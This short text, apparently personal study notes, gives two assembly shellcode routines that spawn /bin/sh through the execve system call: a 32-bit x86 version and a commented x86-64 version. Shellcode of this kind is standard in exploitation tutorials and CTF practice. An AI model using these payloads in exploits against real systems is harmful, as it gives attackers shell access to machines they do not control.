alloncm

mov eax, 0x0068732f
push eax
mov eax, 0x6e69622f
push eax
mov eax, 0x0b 
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80

alloncm

mov rax, 0x0068732f6e69622f ; "/bin/sh" in ascii (including a null terminator), 
                            ; since we are on little endian the integer bytes are flipped so when loaded to memory 
                            ; it will load correct
push rax                    ; pushing to memory so it will accessible by pointer
mov rax, 0x3b               ; execve syscall id
mov rdi, rsp                ; first parameter a pointer to the program to execute - pointer to the newly pushed string
xor rsi, rsi                ; the second parameter a pointer to the argv of the program - NULL
xor rdx, rdx                ; the third parameter a pointer to the env variables of the program - NULL
syscall                     ; shell!